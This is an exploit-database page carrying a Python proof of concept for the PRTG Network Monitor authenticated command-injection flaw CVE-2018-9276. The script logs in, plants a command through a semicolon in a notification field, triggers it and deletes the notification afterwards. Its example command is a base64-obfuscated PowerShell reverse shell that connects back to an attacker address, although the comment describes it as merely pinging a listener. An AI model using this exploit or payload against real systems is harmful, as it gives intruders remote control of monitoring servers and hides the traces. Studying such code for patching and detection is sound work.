Exploit database

GH-dee452d793d3b3b2a6265483a9991116

ac8999/prtg-network-monitor-18.2.38---authenticated-remote-code-execution-cve-2018-9276

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2018-9276

8 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2018-9276.py

Python · 5,632 bytes
import requests
import random
import string
import sys
import time

# Disable warnings for self-signed certs often found on internal PRTG instances
requests.packages.urllib3.disable_warnings()

class PRTGExploit:
    def __init__(self, target_url, username, password):
        self.url = target_url.rstrip('/')
        self.username = username
        self.password = password
        self.session = requests.Session()
        self.session.verify = False  # Set to True if using valid SSL
        self.objid = None

    def login(self):
        print(f"[*] Attempting login as: {self.username}")
        login_url = f"{self.url}/public/checklogin.htm"
        data = {
            'loginurl': '',
            'username': self.username,
            'password': self.password
        }
        
        try:
            # PRTG uses a 302 redirect on successful login
            res = self.session.post(login_url, data=data, allow_redirects=False)
            if res.status_code == 302 and res.headers.get('Location') == '/home':
                print("[+] Successfully logged in.")
                return True
            else:
                print("[-] Login failed. Check credentials.")
                return False
        except Exception as e:
            print(f"[-] Connection error: {e}")
            return False

    def create_notification(self, command):
        print("[*] Creating malicious notification...")
        # Generate a random name for the notification
        rand_name = ''.join(random.choices(string.ascii_letters + string.digits, k=10))
        
        edit_url = f"{self.url}/editsettings"
        
        # This payload exploits the unsanitized 'message_10' parameter (EXE notification)
        # The ';' allows us to break out of the intended script execution
        payload_data = {
            'name_': rand_name,
            'active_': '1',
            'schedule_': '-1|None|',
            'postpone_': '1',
            'summode_': '2',
            'summarysubject_': '[%sitename] %summarycount Summarized Notifications',
            'summinutes_': '1',
            'accessrights_': '1',
            'active_10': '10', # Enables EXE/Script notification
            'address_10': 'Demo EXE Notification - OutFile.ps1', # Base script
            'message_10': f"abcd; {command}", # INJECTION POINT
            'timeout_10': '60',
            'objecttype': 'notification',
            'id': 'new',
            'targeturl': '/myaccount.htm?tabid=2'
        }

        headers = {'X-Requested-With': 'XMLHttpRequest'}
        res = self.session.post(edit_url, data=payload_data, headers=headers)

        if res.status_code == 200:
            try:
                self.objid = res.json().get('objid')
                print(f"[+] Notification created. ID: {self.objid}")
                return True
            except:
                print("[-] Failed to parse objid from response.")
        return False

    def trigger_notification(self):
        if not self.objid: return
        print("[*] Triggering notification test...")
        test_url = f"{self.url}/api/notificationtest.htm"
        params = {'id': self.objid}
        
        res = self.session.post(test_url, params=params)
        if "EXE notification is queued up" in res.text:
            print("[+] Payload queued successfully.")
            return True
        print("[-] Failed to trigger notification.")
        return False

    def cleanup(self):
        if not self.objid: return
        print(f"[*] Deleting notification {self.objid}...")
        delete_url = f"{self.url}/api/deleteobject.htm"
        data = {'id': self.objid, 'approve': '1'}
        self.session.post(delete_url, data=data)
        print("[+] Cleanup complete.")

def main():
    # Example usage
    TARGET = "http://10.129.15.52"
    USER = "prtgadmin"
    PASS = "PrTg@dmin2019"
    
    # Example command: Ping a listener or trigger a calc
    CMD = "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA1AC4AOQAzACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="

    exploit = PRTGExploit(TARGET, USER, PASS)
    if exploit.login():
        if exploit.create_notification(CMD):
            exploit.trigger_notification()
            time.sleep(2) # Give it a second to process
            exploit.cleanup()
            print("[*] Exploit cycle finished. Check target.")

if __name__ == "__main__":
    main()